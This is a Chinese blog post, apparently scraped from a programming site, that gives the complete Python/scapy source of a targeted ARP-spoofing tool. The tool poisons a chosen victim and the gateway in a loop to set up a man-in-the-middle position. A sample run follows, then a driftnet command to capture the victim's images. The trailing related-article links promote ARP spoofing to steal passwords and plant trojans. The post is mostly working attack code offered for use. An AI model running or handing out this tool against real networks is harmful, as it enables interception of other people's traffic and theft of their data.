用python编写的定向arp欺骗工具
刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:
#--*--coding=utf-8--*-- from scapy.all import *
import optparse
import threading #解决在linux系统上运行时报的unicode编码相关错误
import sys
reload(sys)
sys.setdefaultencoding('utf-8') def getMac(tgtIP):
'''
调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
'''
try:
tgtMac = getmacbyip(tgtIP)
return tgtMac
except:
print '[-]请检查目标IP是否存活' def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
'''
生成ARP数据包,伪造网关欺骗目标计算机
srcMac:本机的MAC地址,充当中间人
tgtMac:目标计算机的MAC
gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
tgtIP:目标计算机的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
'''
生成ARP数据包,伪造目标计算机欺骗网关
srcMac:本机的MAC地址,充当中间人
gatewayMac:网关的MAC
tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
gatewayIP:网关的IP
op=2,表示ARP响应
'''
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt def main():
usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
parser = optparse.OptionParser(usage,version='v1.0')
parser.add_option('-t',dest='targetIP',type='string',help='指定目标计算机IP')
parser.add_option('-g',dest='gatewayIP',type='string',help='指定网关IP')
parser.add_option('-i',dest='interface',type='string',help='指定使用的网卡')
parser.add_option('-a',dest='allarp',action='store_true',help='是否进行全网arp欺骗') options,args = parser.parse_args()
tgtIP = options.targetIP
gatewayIP = options.gatewayIP
interface = options.interface if tgtIP == None or gatewayIP == None or interface == None:
print parser.print_help()
exit(0) srcMac = get_if_hwaddr(interface)
print '本机MAC地址是:',srcMac
tgtMac = getMac(tgtIP)
print '目标计算机MAC地址是:',tgtMac
gatewayMac = getMac(gatewayIP)
print '网关MAC地址是:',gatewayMac
raw_input('按任意键继续:') pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP) i = 1
while True:
t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
t.start()
t.join()
print str(i) + ' [*]发送一个计算机ARP欺骗包' s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
s.start()
s.join()
print str(i) + ' [*]发送一个网关ARP欺骗包'
i += 1 if __name__ == '__main__':
main()
验证如下:
# python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
WARNING: No route found for IPv6 destination :: (no default route?)
本机MAC地址是: xxx
目标计算机MAC地址是:xxx
网关MAC地址是: xxx
按任意键继续:
.
Sent 1 packets.
1 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
1 [*]发送一个网关ARP欺骗包
.
Sent 1 packets.
2 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
2 [*]发送一个网关ARP欺骗包
.
Sent 1 packets.
3 [*]发送一个计算机ARP欺骗包
.
Sent 1 packets.
3 [*]发送一个网关ARP欺骗包
......
#driftnet -i wlan0

用python编写的定向arp欺骗工具的更多相关文章
- Python编写类似nmap的扫描工具
文主要是利用scapy包编写了一个简易扫描工具,支持ARP.ICMP.TCP.UDP发现扫描,支持TCP SYN.UDP端口扫描,如下: usage: python scan.py <-p pi ...
- Python编写的Linux邮件发送工具
之前有用过Linux自带的mail工具来定时发送邮件,但是要装mailx还有配mail.rc,这还比较正常,关键是到了ubantu下这工具用起来真是操蛋,如果哪天其他的unix like操作系统也有需 ...
- 用python编写的excel拆分小工具
from datetime import date,datetime from openpyxl import Workbook from openpyxl import load_workbook ...
- Python黑帽编程 3.1 ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- Python黑客编程ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- 使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息
ARP欺骗的作用 当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧 当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一 ...
- Arp欺骗攻击的另类应用之屌丝泡妞记
http://www.2cto.com/Article/201210/163974.html arp欺骗,我想大家都应该知道怎么回事了.不知道的去问度娘... 就不废话了,还是直接上图上教程比 ...
- Mac和Linux系统的:Arp欺骗源码
linux系统, 简化版的ARP欺骗工具 精简版, 没有很多代码, 只要把准备好的数据, 发送给到网卡接口, 利用这个工具, 可以让局域网内的一台计算机暂时掉线: #include <stdio ...
- kali系统:局域网arp欺骗, 搞定任意windows计算机
目的 通过Arp欺骗, 给局域网内的所有用户网页中植入木马, 只要用户运行以后, 就会反弹一个shell到我们计算机 准备 kali系统 metaspolit的使用 Arp欺骗工具:bettercap ...
随机推荐
- NOS跨分区灾备设计与实现
本文来自网易云社区 作者:王健 摘要 NOS(网易对象存储)在实现多机房(杭州机房,北京机房等)部署后,允许一个用户在建桶时选择桶所属机房.在此基础上,我们实现了跨机房的数据复制,进一步实现了跨机房的 ...
- map 插入数据的方式局别
#include<map> #include<iostream> usingnamespace std; int main() { map <int, int> m ...
- 如何修改 WordPress 的默认 Gravatar 头像
如何修改 WordPress 的默认 Gravatar 头像? wordpress默认的头像是下面这种 在Settings的Discussion中,默认选择第一个Mystery Person, 意思是 ...
- zoj 2388 Beat the Spread!
Beat the Spread! Time Limit: 2 Seconds Memory Limit: 65536 KB Superbowl Sunday is nearly here. ...
- Python之Monitor监控线程(干货)
在日常工作中常遇到这样的情况,我们需要一个监控线程用于随时的获得其他进程的任务请求,或者我们需要监视某些资源等的变化,一个高效的Monitor程序如何使用python语言实现呢?为了解决上述问题,我将 ...
- uva 10870 递推关系矩阵快速幂模
Recurrences Input: standard input Output: standard output Consider recurrent functions of the follow ...
- LVM 类型的 Storage Pool
LVM 类型的 Storage Pool 不仅一个文件可以分配给客户机作为虚拟磁盘,宿主机上 VG 中的 LV 也可以作为虚拟磁盘分配给虚拟机使用. 不过,LV 由于没有磁盘的 MBR 引导记录,不能 ...
- py3.6 + xadmin的自学网站搭建
xadmin安装 由于安装时需要依赖包并且暂时不支持py3等原因,直接pip install的方法很容易就狗带了. 说一下我在网上找到的安装方式,在GitHub上有这个项目的开源代码,并且还有很多个版 ...
- centos 7 配置多个IP地址
centos 7 配置多个IP地址 #打开网络配置文件 cd /etc/sysconfig/network-scripts/ vim ifcfg-eno167 找到IPADDR的位置,在下面再增加需要 ...
- Yii 之Session使用
public function actionIndex(){ $session = \YII::$app->session; //判断session是否开启 if(!$session->i ...